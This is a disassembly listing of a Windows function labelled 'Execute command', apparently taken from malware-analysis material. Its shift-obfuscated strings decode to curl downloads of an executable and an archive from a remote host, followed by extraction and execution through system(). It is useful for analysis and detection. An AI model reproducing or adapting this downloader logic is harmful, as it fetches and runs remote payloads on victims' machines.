Function at 0x4013a0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40491d
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xf0], 0
call fcn.00401370
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x128], eax
movzx ecx, byte [ebp - 0xe1]
push ecx
mov ecx, dword [ebp - 0x128]
call fcn.004027a0
mov dword [ebp - 4], 0
mov dword [ebp - 0xd0], str.hzwq
mov edx, dword [ebp - 0xd0]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0xd0]
mov cl, byte [eax]
mov byte [ebp - 0xc1], cl
add dword [ebp - 0xd0], 1
cmp byte [ebp - 0xc1], 0
jne 0x401419
mov edx, dword [ebp - 0xd0]
sub edx, dword [ebp - 0x188]
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
mov ecx, dword [ebp - 0x190]
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 0x194]
push edx
push str.hzwq
lea ecx, [ebp - 0x1d8]
call fcn.004027f0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x1d8]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.00401260
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1d8]
call fcn.00401c80
lea edx, [ebp - 0x1f0]
mov dword [ebp - 0x198], edx
movzx eax, byte [ebp - 0xe2]
push eax
mov ecx, dword [ebp - 0x198]
call fcn.004027a0
mov byte [ebp - 4], 4
mov dword [ebp - 0xd4], str._myyux:__pfjij.ou.sjy_7___xnqjsy___tzyuzy__yjru_7.jcj
mov ecx, dword [ebp - 0xd4]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0xd4]
mov al, byte [edx]
mov byte [ebp - 0xc2], al
add dword [ebp - 0xd4], 1
cmp byte [ebp - 0xc2], 0
jne 0x4014dd
mov ecx, dword [ebp - 0xd4]
sub ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], ecx
mov edx, dword [ebp - 0x1a0]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0xf8]
push ecx
push str._myyux:__pfjij.ou.sjy_7___xnqjsy___tzyuzy__yjru_7.jcj
lea ecx, [ebp - 0x1f0]
call fcn.004027f0
mov byte [ebp - 4], 5
lea edx, [ebp - 0x1f0]
push edx
lea eax, [ebp - 0xbc]
push eax
call fcn.00401260
add esp, 8
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1f0]
call fcn.00401c80
lea ecx, [ebp - 0xbc]
push ecx
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x250]
push eax
call fcn.00402180
add esp, 0xc
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 0xfc]
call fcn.00402060
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0x100]
push ecx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x250]
call fcn.00401c80
lea edx, [ebp - 0x208]
mov dword [ebp - 0x104], edx
movzx eax, byte [ebp - 0xe3]
push eax
mov ecx, dword [ebp - 0x104]
call fcn.004027a0
mov byte [ebp - 4], 8
mov dword [ebp - 0xd8], str._myyux:__pfjij.ou.sjy_u___xnqjsy___tzyuzy__yjru_u.7e
mov ecx, dword [ebp - 0xd8]
add ecx, 1
mov dword [ebp - 0x108], ecx
mov edx, dword [ebp - 0xd8]
mov al, byte [edx]
mov byte [ebp - 0xc3], al
add dword [ebp - 0xd8], 1
cmp byte [ebp - 0xc3], 0
jne 0x4015ed
mov ecx, dword [ebp - 0xd8]
sub ecx, dword [ebp - 0x108]
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x114]
push ecx
push str._myyux:__pfjij.ou.sjy_u___xnqjsy___tzyuzy__yjru_u.7e
lea ecx, [ebp - 0x208]
call fcn.004027f0
mov byte [ebp - 4], 9
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0xa4]
push eax
call fcn.00401260
add esp, 8
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x208]
call fcn.00401c80
lea ecx, [ebp - 0xa4]
push ecx
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x268]
push eax
call fcn.00402180
add esp, 0xc
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
call fcn.00402060
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x268]
call fcn.00401c80
lea edx, [ebp - 0x44]
mov dword [ebp - 0x120], edx
movzx eax, byte [ebp - 0xe4]
push eax
mov ecx, dword [ebp - 0x120]
call fcn.004027a0
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x1a4], ecx
lea ecx, [ebp - 0x44]
call fcn.00401e10
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x124], edx
movzx eax, byte [ebp - 0xe9]
push eax
mov ecx, dword [ebp - 0x124]
call fcn.004027a0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1a8], ecx
lea ecx, [ebp - 0x2c]
call fcn.00401e10
mov byte [ebp - 4], 0xd
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x14], 0
push str.localappdata
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x40175a
cmp dword [ebp - 0xc0], 0
jne 0x40176e
push str.Error_finding_LocalAppData_folder__0xB_n
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
call fcn.004022a0
add esp, 8
lea edx, [ebp - 0x238]
mov dword [ebp - 0x12c], edx
movzx eax, byte [ebp - 0xe5]
push eax
mov ecx, dword [ebp - 0x12c]
call fcn.004027a0
mov byte [ebp - 4], 0xe
mov dword [ebp - 0xdc], str.___nul
mov ecx, dword [ebp - 0xdc]
add ecx, 1
mov dword [ebp - 0x130], ecx
mov edx, dword [ebp - 0xdc]
mov al, byte [edx]
mov byte [ebp - 0xc4], al
add dword [ebp - 0xdc], 1
cmp byte [ebp - 0xc4], 0
jne 0x4017aa
mov ecx, dword [ebp - 0xdc]
sub ecx, dword [ebp - 0x130]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x138], edx
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x13c]
push ecx
push str.___nul
lea ecx, [ebp - 0x238]
call fcn.004027f0
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x238]
mov dword [ebp - 0x140], edx
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x160], eax
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x144], ecx
movzx edx, byte [ebp - 0xe6]
push edx
mov ecx, dword [ebp - 0x144]
call fcn.004027a0
mov byte [ebp - 4], 0x10
mov dword [ebp - 0xe0], str._yjru_7.jcj_c__yjru_u.7e__d__t_yjru_u
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0xe0]
mov dl, byte [ecx]
mov byte [ebp - 0xc5], dl
add dword [ebp - 0xe0], 1
cmp byte [ebp - 0xc5], 0
jne 0x401865
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0x148]
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x154]
push eax
push str._yjru_7.jcj_c__yjru_u.7e__d__t_yjru_u
lea ecx, [ebp - 0x220]
call fcn.004027f0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x280]
push edx
call fcn.00401260
add esp, 8
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x160]
push edx
mov eax, dword [ebp - 0x164]
push eax
movzx ecx, byte [ebp - 0xe7]
push ecx
lea ecx, [ebp - 0x8c]
call fcn.00402f10
mov edx, dword [ebp - 0xf0]
or edx, 0x20
mov dword [ebp - 0xf0], edx
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x280]
call fcn.00401c80
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x220]
call fcn.00401c80
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x238]
call fcn.00401c80
lea ecx, [ebp - 0x8c]
call fcn.00402060
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x16c], ecx
movzx edx, byte [ebp - 0xe8]
push edx
mov ecx, dword [ebp - 0x16c]
call fcn.004027a0
mov byte [ebp - 4], 0x17
mov dword [ebp - 0xcc], str._yjru_uu.jcj__yjru_u_sjpt.ud
mov eax, dword [ebp - 0xcc]
add eax, 1
mov dword [ebp - 0x170], eax
mov ecx, dword [ebp - 0xcc]
mov dl, byte [ecx]
mov byte [ebp - 0xc6], dl
add dword [ebp - 0xcc], 1
cmp byte [ebp - 0xc6], 0
jne 0x4019ba
mov eax, dword [ebp - 0xcc]
sub eax, dword [ebp - 0x170]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x178], ecx
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0x17c]
push eax
push str._yjru_uu.jcj__yjru_u_sjpt.ud
lea ecx, [ebp - 0x1c0]
call fcn.004027f0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x1c0]
push ecx
lea edx, [ebp - 0x74]
push edx
call fcn.00401260
add esp, 8
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1c0]
call fcn.00401c80
lea ecx, [ebp - 0x74]
call fcn.00402060
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x184], 0
lea ecx, [ebp - 0x74]
call fcn.00401c80
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x8c]
call fcn.00401c80
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2c]
call fcn.00401c80
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x44]
call fcn.00401c80
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa4]
call fcn.00401c80
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xbc]
call fcn.00401c80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00401c80
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403ad5
mov esp, ebp
pop ebp
ret